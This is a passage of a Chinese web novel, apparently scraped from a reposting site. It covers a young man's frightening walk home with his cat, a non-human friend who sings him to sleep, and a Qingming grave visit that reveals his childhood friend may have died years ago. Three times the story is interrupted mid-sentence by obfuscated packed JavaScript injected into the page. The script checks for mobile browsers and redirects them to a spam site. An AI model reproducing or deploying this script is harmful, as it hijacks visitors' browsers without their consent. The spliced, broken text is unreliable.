几位客人结伴而来,坏心眼儿的小猫们总能准确地挑出怕它们的那一人,扭着尾巴凑过去用爪爪掏着人家脚跟。 猫猫们:嘿,好玩!碰一下叫一下! 曲半青往它们屁股拍了一巴掌,通通塞进航空箱。 客人连忙问道:“这是要关禁闭吗?” 宁知夏摇头:“告别猛男岁月而已。” 善良的客人露出惊恐表情,不、不至于吧! 绝育手术是早就预约好的,幸而五只都是公猫,术后护理操心程度要小许多,便分了三天将它们送去医院。 第三天位面通道开启时,狐狸崽和波波库拉还特地过来看望已经先完成手术接回家的四只小猫。 “咪咪给你花花,祝你早日康复哦!” 白竹还不懂什么是嘎蛋,只模糊的知道是帮他们延长寿命的修炼方式,笑嘻嘻地举起新摘的山花凑到它们面前。 白板猫用前爪拨了拨叶片,低头舔了下小孩的手心,把他痒得咯咯直笑。 波波库拉用触手数了几遍,失落地戳戳宁知夏,扬起两根触手不断画圈比划:“还有一只猫猫呢?特别圆的那只。” “胖橘今天才嘎,等通道关闭后我再去接它。”宁知夏让波波库拉别太担心,“都是小手术,明天你就可以看见它了。” “好啵。”波波库拉的触手们扭动成快乐的波浪。 送走来看望小猫的朋友们后,熟悉的街景出现在窗前,此时在自己的位面也不过七点半。宁知夏早已经习惯每天27小时的作息规律,同曲半青打个招呼去医院接猫。 胖橘麻药过了后,在医院的隔间里气鼓鼓的生闷气,直到看见宁知夏,才不情不愿地扭过脑壳“喵”了一声,像是在谴责怎么这个时候才带自己摆驾回宫。 “走着。” 宁知夏看它精神不错,提着航空箱从医院出来往回走。 因为医院离得不远,他并没有开车,谁料抱住航空箱才走了一半,心里就疯狂后悔,直接转入了小路近道。 宁知夏不满地嘀咕:“你该减肥了胖橘,谁家小猫抱着像个煤气罐。” “喵喵!”胖橘不甘示弱地回击。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13730542|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一人一猫有来有回地对骂,悬挂在头顶的路灯滋啦闪烁了下。 “嘿咻。”宁知夏抱着箱子一耸,又走了几步。 小巷里路面不平还带着潮湿的水汽,若踩到不稳的砖石,砖缝就会飙出一汪黏腻黑水,宁知夏走得小心翼翼,啪嗒啪嗒的脚步声在寂静无人的小巷回响。 没过多久回荡在周围的脚步声就像两阵重合的鼓点,逐渐变得越来越重。 宁知夏刷的扭头,身后小巷空荡荡的一片,偶尔有凝结在生锈水管的水珠滴落,砸碎在破旧的砖石之间。 浓厚腥湿的气味渐渐升腾,宁知夏迟疑片刻,转过身继续走。 “啪嗒啪嗒……” “啪嗒,啪嗒……” 宁知夏加快了脚步声,仿佛是一场巧合,自己快那声音也快,自己慢那声音也慢,直到清脆的脚步声完全紧密地重合在一起…… 碎裂的砖石中央挤出一泵黑水,宁知夏猛地顿住脚步,脚步声戛然而止。 四周静悄悄的一片,宁知夏呼出口气,自嘲最近真是有点精神紧绷时—— “啪嗒啪嗒……”身后的脚步声不紧不慢地再次响起。 宁知夏:“……” 他浑身颤了颤,低头对着怀里的箱子喃喃:“坐稳了,胖橘。” 胖橘:“喵喵?” 就在脚步声越来越近时,宁知夏倏地举起航空箱顶在头顶,加足马力般直接撒腿狂奔。 “喵嗷嗷嗷嗷——” 随着惯性一甩,胖橘的肥脸猝不及防地贴在箱子的不锈钢栏杆,溢出的脸肉挤在栏杆中间随着抖动不停上下摩擦,连嗓子里的怒吼都像是卡出了激昂颤音。 “妈妈妈妈妈妈妈妈!” 人的嘴巴在受惊吓时总会不受控制,宁知夏喊了一路的妈,临近巷口一个神龙摆尾,用这辈子最快的速度往家里冲。 熟悉的房屋就在眼前,曲半青还穿着兔兔围裙,踩着拖鞋在路口张望,一见到他百米冲刺般杀回来,不禁愣道:“卧槽怎么了?” “呜哇……”宁知夏语无伦次地指着身后,“刚刚有人跟踪我,吓死老子了!” “什么?!”曲半青蹙眉,带着他就跟找场子似的往那处巷口走。 宁知夏感动:“真是为母则刚!” “……” 曲半青回头瞥他一眼,冷笑着拎着他后颈衣领,作势就要把他往里推。 “妈咪我错了,妈咪再爱我一次!”宁知夏抱住他手臂嗷嗷假哭,忽听巷子里的脚步声愈来愈近。 巷口滋啦闪烁的路灯倏地亮起,散发着昏黄的光晕,在黑沉沉的夜晚竟有几分温馨味道。 脚步声缓缓停在身后,曲半青有些惊讶地“啊”了一声。 一股犹如实质的目光落在脊背,仿佛是有感应般,满脸狼狈的青年吸了吸鼻子,迟疑片刻扭头看去。 来人身姿修长挺拔,提着一个粉白盒子站在巷角处,眉眼带笑地偏头看着他。 “骗子,不是说胆子很大吗?” 奥德罗抬手托起青年呆愣的脑袋,指腹重重地抹过他脸颊的水痕,擦过的皮肤顿时泛起粉色。 18.安眠曲 就像是鬼屋出口厚重漆黑的布料被人忽然掀开,宁知夏有点神情恍惚:“是你在我后面吗?” 路灯晕出淡淡的光晕,拉长三人的影子,奥德罗侧身朝后望了一眼,徐徐回道:“对啊。” 他手里的粉白盒子是附近蛋糕店的包装袋,塞得鼓鼓囊囊像是快要溢出来似的。 余城凡是知名的甜品袋仿佛早已经成了他的时尚单品,宁知夏已经见怪不怪。 月色与春风在树影间摇摇共坠,春季正是抽芽生长之时,花架里的植物们却蔫耷耷一片,少有舒展的叶尖儿在窗下光影泛着点点荧光, 宁知夏虚惊一场,想着这时候遇见得巧,缓过神后邀着奥德罗回家。 这次他出乎意料地答应得很爽快。 “喵嗷——喵嗷——” 胖橘隔着栏杆嚎得婉转凄凉,曲半青蹲下身把航空箱打开。 刚嘎完蛋的大橘猫钻出来抖了抖圆滚滚的身子,眯着眼与凑上来的小弟们互相嗅嗅 听说绝育后的公猫都会变成粘人精,曲半青伸出手指试探性地碰碰它脑袋,胖橘猛地转头,翘起胡须怒声哈气。 曲半青一脸愤愤:“除你罐头!” 胖橘用脑袋抵住那根手指蹭了两下,一双长腿从眼前路过,它像闻着味儿似的扭着尾巴跟在后面,谄媚无比的用夹子音发嗲。 奥德罗径直占据了那张舒适的躺椅,略低着头垂眼戳平板,余光里的人走来走去到处翻找零食。 一回到熟悉的地盘,宁知夏又变得精神奕奕,头顶有撮头发因为先才百米冲刺胡乱翘起,随着动作像颗小苗苗似的左右乱晃。 家里的零食被狐狸崽收刮得差不多了,曲半青看了眼宁知夏,又朝躺椅的方向瞅了眼,干脆道:“我去弄点吃的。” “唔,不用那么麻烦吧。”宁知夏愣了下,见他一脸社恐模样,拉住曲半青说,“一块去吃零食,我正好给你们介绍介绍。” “不了不了,他太潮了。”曲半青瞅着屋里一头银灰长发的男人,直接往厨房里退,扒拉住门框嘀咕道,“我去鸡块炸点厨房,一会儿就好哈。” “……?” 宁知夏一头雾水,只能抱着几盒注心饼干堆放到小茶几,把它轱辘辘移到躺椅旁。 “牛奶味,吃吗?”宁知夏抽出根细长的饼干棍在奥德罗面前晃晃。 浅色瞳孔的视线从屏幕移开,奥德罗偏过头朝身边的青年俯身,周身的清冷气息像藏在冰块里的薄荷叶,凉幽幽的靠过来。 在宁知夏愣神之际,他微微张嘴咬住那根饼干棍,直接从手指中叼走。 甜滋滋的味道向来令人心情愉悦,奥德罗没嚼几下,发现又一根饼干棍递到了嘴边排队。 宁知夏像发现了什么好玩的事一般,有点兴奋地说:“我刚刚好像看见你的尖牙了。” 奥德罗侧过头,轻轻挑起眉梢。 “不过我也有!”宁知夏张大嘴,雪白整齐的一排牙齿里,左右两边各有一颗不算太尖的小虎牙,他指了指,含糊不清地说,“你看,啊——” 以前暑假在老家玩时,被爷爷的牌友老头们瞧见了,还说是对鬼牙不吉利,气得爷爷直接翻脸,带着他上门怒骂碎嘴老登。 奥德罗歪头看了看,忽的也跟着张嘴,与人类极度相似的两排牙齿里,藏在其中的四颗尖锐鲨齿寒光闪烁,漂亮的浅色瞳孔有点得意地微微眯起—— 赢了。 宁知夏的瞳孔猛地紧缩了一下—— 输了。 仿佛对青年的反应极为受用,奥德罗满意地闭上嘴,继续“咔嚓咔嚓”嚼起饼干棍。 宁知夏揉了揉泛酸的下颌骨,往嘴里自取其辱的宝宝牙浇了点冰可乐。 他最近几天都没睡好,耷拉脑袋打了个哈欠。 一只手指伸过来,在他眼底轻轻点了点。 宁知夏猝不及防被冰了一下,抬头对上那双缺乏感情的浅蓝眼睛,奇怪道:“你干嘛?” 奥德罗用手指比划成个圈,框住他的眼睛,清冷的嗓音里比往常带了点明显的笑意:“熊猫。” “哼。” 宁知夏把他手推开,往自己嘴里塞了根饼干棍,惆怅地嘟囔道,“我睡得晚,过几天就好了。” 奥德罗撑着脸看了他半晌,抬手弹了弹那撮翘起的头发,把平板推过来。 宁知夏低头,嘻嘻哈哈的黄色方块正在屏幕里快乐地煎肉饼。 他默下了,接受了动画片搭子并不热情的邀请。 夜里很快又下起来雨,雨滴从屋檐砸到地面,噼里啪啦的声响吸引了一群公公猫赏雨。 曲半青嚼着鸡块:“看吧看吧,一场大雨祭奠你们逝去的蛋蛋。” 猫猫们:“……” “喏,上次的伞。” 宁知夏见奥德罗打算回去,从宽口大花瓶里抽出那把伞递给他。 门一打开,湿润的空气随风飘入屋内,奥德罗撑开伞走入细密的雨线,回头一瞥。 宁知夏抱着胖橘,捏住它的前爪挥挥:“掰掰,路上小心哦。” 胖橘不舍地舔了舔嘴:“喵~” 奥德罗像是听见了格外新奇的语句,抬高伞沿对他点了点头,拎着粉白盒子转身离开。 黑伞盛着路灯的光影,空旷无人的街道时隐时现,闲散的步调跨过一摊积水,渐渐停下。 前方几米外,人形的黑影一动不动立在岔路巷角,仿佛是感应到冥冥之中的规则,朝他肆意地裂开弯月似的大嘴。 奥德罗目不斜视地从它身边走过,清冷的尾音里还勾着一点嘲弄的笑。 “你们挑错目标了,蠢货。” * “晚安……” 宁知夏抱着枕头,挤在曲半青房间门口,颇有些死皮烂脸地委屈嘀咕,“友友我真的不能和你一起睡吗?” “不行,我睡觉磨牙打呼,要是你一脚把我踢下去怎么办!”曲半青今晚格外固执,坚持要宁知夏做个独立睡觉的成年人,无情地把他踹回自己卧室。 宁知夏缩进被窝里,裹成长条,把边边角角压得十分严实,连脚指头都不留在外面,仿佛制作了一层世界上最坚固的魔法结界。 曲半青在门口问:“好了吗?” 宁知夏撇着嘴点头:“好了。” “那就晚安,死孩子。” 曲半青啪的一声把灯关掉,随手将门带上。 最后一点光影被漆黑走廊吞没,他的头抵在门板,松软的发梢遮住眉眼,看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13734525|144814||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清眼底神色。 过了一会儿,曲半青转身走开,漫不经心地低声喃喃,“睡一觉就好,睡一觉就知道你怕的屁事没有。” “唔……” 宁知夏被口鼻掩在被窝底下小声呼气,很多时候看完鬼片无感,到了独处时各种古怪的念头就会在脑子里群魔乱舞。 为了避免思维发散,他紧紧闭上眼睛,酝酿睡意。如果是梦见非人之物,他更喜欢狐狸崽之类可爱一点的。 胡思乱想之时,仿佛有道轻轻浅浅的歌声旋绕在脑海,柔和地抚平脑内时不时绷紧的弦,困意如海浪席卷,青年耷拉的眼皮逐渐沉重。 连接阳台的玻璃窗门不知何时打开,晚风夹杂着湿润的水汽拂来,银灰色长发在身后轻轻摆动发梢。 去而复返的人长腿交叠,坐在堆满玩偶的飘窗台,唇瓣起合间,空灵缥缈的曲调如同最温柔的笔触,在黑夜勾勒点染甜美的睡梦。 床铺里的人闭着眼,双手投降似的举在脑袋两侧,大约是觉得太热,裹成蛹状的长条破茧成蝶,薄毯被踢得歪七扭八,倒是留了个被角盖住了平稳起伏的肚皮。 床沿微微下压,奥德罗手撑在他身侧,借着墙角一轮又一轮跃过的车灯光影,看清他眼下浅淡的青影。 童话里的幻想生物与温柔无害并不沾边,强大令它们不屑于引诱,如同恐惧与绝望来临的宣告,杀伐的海盗,迷途的水手,寻宝的王公贵胄……没有人的灵魂会在迷雾中的曲调里得到安眠,热肺在刺骨的冷水鼓胀,海面飘荡着最浓烈鲜艳的颜色,裹挟着四分五裂的躯体去往深处的埋骨之地。 那是一场解闷的把戏,也是来自深邃海底最单纯的恶意。 一首略显生疏的柔和曲调,显然不足以掠夺眼前人的灵魂,但能将屋外走廊嘈杂的打斗隔绝在外。 奥德罗屈起手指轻轻地描摹熟睡之人的眉眼,动作轻柔得恍如同枕共眠的恋人,眸光渐深的眼瞳却没有一丝缠绵眷恋。 就像不过是在兴致盎然地观察一条摇头摆尾的有趣小鱼,轻抚的手随之下滑,紧紧地贴在温暖的心口。 隔着两根肋骨,那颗心脏在掌心下缓缓跳动,浅色瞳孔里逐渐露出几分兴味。 良久之后,对方不舒服地打了个冷颤。 奥德罗不太尽兴地移开手,冰凉的手指戳了戳脸颊的软肉,睡熟的人是不会给他任何反应,于是他又肆无忌惮地碰了碰软嫩的唇角。 温热的吐息洒在指尖,奥德罗歪着头得寸进尺地按了又按,被打扰好梦的人不满地梦呓两声,啊呜张嘴一口咬住。 宁知夏含冰棍似的咂了咂,尝不到甜味,皱着眉头用舌尖将捣乱的异物往外抵。 柔软温热的触感席卷而来,奥德罗嗓音很轻地“啊”了一声,倏地将手指抽出。 打斗声渐渐止歇,有簌簌黑影在月色迅疾退去。 奥德罗并不在意,垂眼定定凝视着残余在手指的水光,忽的将手指凑在唇瓣,探出猩红的舌尖,顺着浅浅的牙印舔舐而过。 过了一会儿,门口悄然打开了个缝,机械骨骼般的长尾将落到地板的薄毯勾回床铺。 奥德罗抬起眼,与门缝里的瞳孔静静地对视片刻,在唇边竖起手指。 房门再一次轻轻合上。 19.清明节 一夜好眠,宁知夏觉得睡了这辈子最安慰的一觉,踹开薄毯把自己拉成张弓,神清气爽地在床上伸了个懒腰。 他打开门,正好瞧见曲半青穿着团雀围裙上来喊他吃早饭。 宁知夏扬起灿烂笑容:“早——哎呦!” 一句问好还没说完,就被人踹回房间。 曲半青冷漠地哼哼:“叠好被子再来吃饭。” 宁知夏抽抽鼻子撇嘴:“好的妈咪。” 茶几上热气腾腾的鲜虾烧麦和鱼片粥冒着浓浓香气,小猫们在胖橘的带领下蹲坐在旁,抬起毛茸茸的爪子跃跃欲试。 “哼哼,不可以哦,这是我的!”宁知夏挤开它们坐下,叼着烧麦在几个毛脑袋面前忽远忽近地嘚瑟,“闻闻,欸,吃不到,再给你闻闻,欸,还是吃不到!” 胖虎忍无可忍,挥出正义之爪! “唔。” 曲半青端着小咸菜从厨房出来时,就见宁知夏顶着脸颊的红爪印,故意在猫猫们耳朵旁嚼得吧唧响。 曲半青:“……”什么毛病,一大早就搞ASMR? 饭后很快就有预约的客人过来,女孩穿得随意,随手把扛着的工具箱拎到墙角,一边从口袋里掏出鲨鱼夹把长发利落挽好,一边对宁知夏说:“老师你好,我们现在开始吧。” 宁知夏:“……”咱们谁是干活的? 女孩准备了自己要做的美甲图稿,她画得详细,每个甲片都是带有唐式风格的金钿图案。 “唔,能做。”宁知夏盯着图稿思量片刻,问道,“不过你看能不能改改,满手太复杂你会很容易看腻。” 女孩有点不悦地蹙起眉,这种说辞无非就是水平不够做不了的借口呗,有点冲地问:“怎么改?” 宁知夏拿起平板重新绘制,他将食指和无名指底色改为清透金箔,花纹由繁复金钿改成经典十字结构的四叶花,两叶之间用更小号的叶纹点缀,这些用柳叶状铆钉和小钢珠就能完成。 将他一改,整副甲片繁简错落,果然显得更耐看许多,图案旁还贴心地标注了做法和材料。 “这样行不?”宁知夏用电子笔在屏幕戳戳,调了不同画层的效果给她看,表示随时能出其他方案,如果坚持用最初版本也完全OK。 多么能干又好脾气的乙方啊…… 女孩咬唇在心里狠狠地忏悔一波,将手唰的一下伸到他面前,开工就现在,变美不等待。 曲半青那边的客人已经结束离开,他起身端了树莓果汁给两人身边一人放了一杯。 女孩吸溜着果汁中途接了个电话,也不知道对面的人说了什么,她眼睛一下就亮起来了,脚下踏起一阵小碎步。 “不好意思我临时来活了。”女孩挂了电话还有点小激动,“可以稍微快点吗,不然我只做一只手好了。” “没关系,来得及。”曲半青见状坐下来,捞起她的手左右开弓。 两人技术相当配合默契,女孩忍不住夸赞:“你上哪儿找的神仙搭子啊!” 宁知夏有点嘚瑟:“超稀有隐藏款,厉害吧。” 女孩跟着哈哈笑,等做完后打开自己的工具箱,箱子里满满当当全是化妆品。 她迅速撸了个妆,拎起箱子离开时还开心挥手:“拜拜,我会和同事安利你们的!” 因为贺明珠她们的视频,自己生意还不错,宁知夏笑笑,倒也没放在心上。 他伸了个懒腰发现下位客人的时间还没到,于是翻出打印机开始倒腾,把最近拍的照片都打印出来装相册。 虽说现在储存照片有各种方式,他还是更喜欢这类洗出来的实物照片。 相册本是从前留在爷爷家的,保护得再好,看起来也有点老旧,宁知夏重新买了本新的,盘腿坐在茶几边慢悠悠地把旧照片抽出来整理。 没弄多久,沉甸甸的新相册本很快就被塞满一摞。 旧照片大多是爷爷拍的日常照,一年级下期转学后,小知夏在学校认识了被孤立的小半青,两人没有别的朋友,整天嘻嘻哈哈凑一块,照片也就独占了相册半壁江山。 曲半青从小就不爱拍照,个人照少得可怜,不是躲着镜头,就是糊成残影,只有与宁知夏合照时才会和他一起嘿嘿笑地冲镜头傻乐。 一张是灌木丛边,蹲了举着透明伞的两个小孩,耷拉起小脑袋,目光闪闪地盯着从叶片爬过的蜗牛。 下一张又是被坏小孩丢石子骂娘娘腔,小知夏眼里蓄满泪水抖成一对荷包蛋,倔强地背着满头红印的小半青回家,力气太小,害得他半个屁股蛋都快从大裤衩里漏出来。 宁知夏抠了抠脸,跟着翻过一页,照片里有在树下撅屁股学小狗刨坑的,也有坐小木马上吃棒棒冰的,还有…… 曲半青叼着苹果边啃边乐,说宁知夏小时候傻得可爱,乳牙掉了还得拉着他一起举办葬礼,用小纸盒装着埋树底下风光大葬。 “嘿嘿……” 宁知夏有点不好意思地笑了声,又翻了几页,相片里的两人也跟着长大。 他们不是整天犯蠢动不动就哭鼻子的小豆丁了,少年们穿着白T校服,拎着颜料盒,眼瞳黑亮而又清澈,仿佛眉梢眼角都漏出意气风发的光彩。 还有不少剩余的透明内袋,宁知夏把这几年的新照片放进去,因为大学的距离,曲半青的身影渐渐减少,最后连宁知夏自己的照片也少了,只有新的风物铺满一页又一页,就像单纯的记录生活。 “你还有照片吗?”宁知夏捏着一叠空余的内袋翻翻,“都一起放进去呗!” “没。我大学时没啥照片。”曲半青一愣,随意地摆摆手。 “谁让你不和我读一所大学,说起来我还想问你当时为什么——欸?这什么?” 宁知夏嘴里说着话,忽然眼尖地瞧见曲半青袖口处漏出的半截纱布。 “小事。”曲半青卷起衣袖给他看了眼,又慢悠悠地整理衣褶,“昨天炸猪油不小心被烫了下。” 宁知夏点点头,又想去扒拉:“你涂药了吗?需要内服消炎药不,你小时候就不吃药,烫伤可大可小呢。” “涂过药了,真是小事,都不会留疤。”曲半青把他手拍开。 “你又知道不会留疤了……” 宁知夏嘟囔着还想再看,手机屏幕忽然亮起来,是宁父打来的电话,他偏头捞起手机接听。 近来正值清明,宁父今年还在国外忙生意赶不回来,交代记得避开清明当日,挑个日子回老家给老人扫墓。 “我记得的。”宁知夏看了眼日历,明天就正合适,于是挂了电话就要上楼去收拾东西。 曲半青扬声让这家伙上楼梯慢点,下一秒就听见他撞到脚趾的吃痛声—— “哎呦哎呦!” 曲半青摇头叹气,目光落向相册,穿狗狗卫衣的小孩咧嘴笑得无比灿烂,全然不顾一口牙豁子有多滑稽。 他低着头小声嘀咕—— “笨蛋长大了也还是笨蛋。” 隔日清晨天光透亮,仍有似雾非雾的牛毛雨乱飘,宁知夏把车开来19号院前停下,将准备的纸钱花束都放进尾箱。 老家在余城边缘的古镇,那地方山路十八弯也没有高铁站,去一趟恐怕得四小时。 以往曲半青说不准会同他一起去,不过今天要上门的客人有好几位,曲半青笑了笑:“没办法走不开,你回镇上时顺道去孟奶奶家买份叶儿粑回来吧。” “好啊,我可想吃了。”那家老店生意好,可能会多排会儿队,不过那是他们小时候经常去买。 宁知夏乖乖地点头答应,把背包丢进副驾打算上车。 “等一下。”曲半青忽然叫住他。 宁知夏扭过头看去,身旁的好友今天穿了新买的家居服,眉眼如往常般温柔含笑,他从小就精致,就算不出门,每天都会打扮一番。 “怎么啦?”宁知夏问。 曲半青有点纠结地抓耳挠腮,最后按住他脑袋摸摸,转身去屋里。 他很快拿着个纸袋出来,絮絮叨叨道,“给你准备了三明治便当,路上记得在服务区吃,乱七糟八的凉面米粉别碰,也别连续开车。” 宁知夏有些怔忡,熟悉的念叨让他情不自禁地嘿嘿笑起来,欢快答应:“知道了,晚上再见!” “嗯。” 如同从前每次放学回家在路口分开那样,曲半青无数次地微微笑着说,“再见,知夏。” 然后他们又会在第二天相同的地方碰见。 灰色电车慢慢驶过熟悉的小屋,宁知夏摸着方向盘,鬼使神差地偏头看了眼右视镜。 就像大学报道在高铁站分别那年,镜片里那道小小的身影还在不停挥手,渐渐,渐渐,消失在转角的视野里…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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清明落雨纷纷,周边长满青苔的石板台阶被屋檐雨滴冲得湿滑光亮,反射着窗口不算亮堂的灯光。 宁知夏看了眼时间,忧心等会儿回镇上还赶不赶得及买份叶儿粑。 然而雨势不减,很快有辆红色三轮车停下,一对颇为眼熟的夫妇用手挡雨,迈着踉跄的脚步踏水过来。 宁知愣了一下,随即有些欣喜:“曲——” 他们几步跨上台阶,脱开破烂的雨衣拍水,怕水珠溅到旁边的青年,客气又局促地念叨:“不好意思不好意思。” 宁知夏脸上的笑意渐渐收敛,他茫然地看着面前的中年夫妇,两人周身气质却与记忆中完全不符。 而对方似乎也完全不认识自己,就像是初次见面的陌生人。 宁知夏讷讷地移开目光,垂着脑袋不禁愣神。 “哎呀,这么大的雨就不要去了嘛!”老太太显然与他们认识,从屋里拿了几把伞和挡雨的塑料布。 “要去的,算好了时间不能改,每年就看小青那么几次,我们想得很。”男人念叨着,感激地接过那些东西,与妻子互相搀扶着又走进了雨幕中。 听见耳熟的字眼,宁知夏张了张嘴想喊,但又不知该如何开口,扭头问身边的老太太:“您认识他们?” “曲老头的儿子儿媳,以前隔壁镇买酒的嘛。”老太太叹气,“年年大老远回村里看娃娃,七岁走得早,你们年轻人不讲究这些,他们是要卡着时间点去上坟。” 宁知夏瞬时抬眼,惊诧道:“七岁没了?” “是撒,造孽哟,十几年前闹山洪,好多娃娃在山上耍被卷走了,曲老头一家到处找。” 老太太说起来就直叹气,“后来就他们找到了尸体,说是有个很高的好心人捞上来的,黑灯瞎火啥子都看不清,也没顾得上好好感谢人家,其他娃娃都不知道被冲哪里去了。” 宁知夏有些心神不安,略显急切地问道:“那孩子叫什么?” “曲青,青草的青。” 老太太默了好半天才记起来,她背着手进屋,无奈地低声喃喃着,“都说贱名好养活,怎么就没压得住呢。” 算是无数巧合里唯一的例外,宁知夏心里说不清道不明地松了口气,他朝那辆三轮车投去一眼,脊骨缝里却像丝细火闪刺而过。 老人还在絮絮叨叨说着当年的洪灾,宁知夏浑身僵直已然一句也听不进去了。 因为他看见三轮车里破旧的塑料雨帘被扯下来,蓝白条纹的新塑料布重新覆盖住车厢…… 也覆盖住沾满雨丝的灰白遗照。 宁知夏喉咙干涩得发苦,脑内那丝平行世界重合的幻想泡泡瞬间咔嚓皲裂。